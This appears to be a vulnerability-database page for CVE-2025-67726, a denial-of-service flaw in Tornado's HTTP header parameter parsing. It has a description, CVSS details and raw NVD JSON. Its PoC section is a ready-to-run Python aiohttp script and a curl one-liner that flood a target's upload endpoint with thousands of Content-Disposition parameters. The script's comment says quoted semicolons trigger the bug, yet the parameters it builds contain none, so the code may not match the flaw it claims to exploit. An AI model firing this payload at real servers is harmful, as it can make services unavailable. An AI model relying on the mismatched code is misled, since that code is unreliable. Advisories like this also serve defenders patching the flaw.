Security Vulnerability Report
中文
CVE-2025-67726 CVSS 7.5 HIGH

CVE-2025-67726

Published: 2025-12-12 07:15:45
Last Modified: 2025-12-22 18:56:48

Description

Tornado is a Python web framework and asynchronous networking library. Versions 6.5.2 and below use an inefficient algorithm when parsing parameters for HTTP header values, potentially causing a DoS. The _parseparam function in httputil.py is used to parse specific HTTP header values, such as those in multipart/form-data and repeatedly calls string.count() within a nested loop while processing quoted semicolons. If an attacker sends a request with a large number of maliciously crafted parameters in a Content-Disposition header, the server's CPU usage increases quadratically (O(n²)) during parsing. Due to Tornado's single event loop architecture, a single malicious request can cause the entire server to become unresponsive for an extended period. This issue is fixed in version 6.5.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:tornadoweb:tornado:*:*:*:*:*:*:*:* - VULNERABLE
Tornado < 6.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import aiohttp async def exploit_cve_2025_67726(): """ PoC for CVE-2025-67726: Tornado _parseparam DoS vulnerability Sends a crafted HTTP request with many parameters in Content-Disposition header to trigger quadratic CPU usage during parsing. """ target_url = "http://target-server:8888/upload" # Generate a large number of parameters to trigger O(n^2) complexity # The semicolons inside quotes cause repeated count() calls boundary = "----WebKitFormBoundary" num_params = 10000 # Adjust based on target server capacity # Craft malicious Content-Disposition header with many parameters malicious_params = ";".join([f"param{i}=value{i}" for i in range(num_params)]) body = f""" --{boundary} Content-Disposition: form-data; name="file"; filename="test.txt"; {malicious_params} Test content --{boundary}-- """ headers = { "Content-Type": f"multipart/form-data; boundary={boundary}" } async with aiohttp.ClientSession() as session: try: await session.post(target_url, data=body.encode(), headers=headers) print("Malicious request sent") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": asyncio.run(exploit_cve_2025_67726()) # Alternative simple PoC using curl: # curl -X POST http://target:8888/upload \ # -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \ # -d $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="file"; filename="test.txt"; '"$(python3 -c 'print(";".join([f"x{i}=y{i}" for i in range(10000)]))')"'\r\n\r\ntest\r\n------WebKitFormBoundary--\r\n'

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67726", "sourceIdentifier": "[email protected]", "published": "2025-12-12T07:15:44.920", "lastModified": "2025-12-22T18:56:47.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tornado is a Python web framework and asynchronous networking library. Versions 6.5.2 and below use an inefficient algorithm when parsing parameters for HTTP header values, potentially causing a DoS. The _parseparam function in httputil.py is used to parse specific HTTP header values, such as those in multipart/form-data and repeatedly calls string.count() within a nested loop while processing quoted semicolons. If an attacker sends a request with a large number of maliciously crafted parameters in a Content-Disposition header, the server's CPU usage increases quadratically (O(n²)) during parsing. Due to Tornado's single event loop architecture, a single malicious request can cause the entire server to become unresponsive for an extended period. This issue is fixed in version 6.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-834"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tornadoweb:tornado:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "64279E50-159B-4CAB-9BD0-E2B764C3C40C"}]}]}], "references": [{"url": "https://github.com/tornadoweb/tornado/commit/771472cfdaeebc0d89a9cc46e249f8891a6b29cd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tornadoweb/tornado/releases/tag/v6.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-jhmp-mqwm-3gq8", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}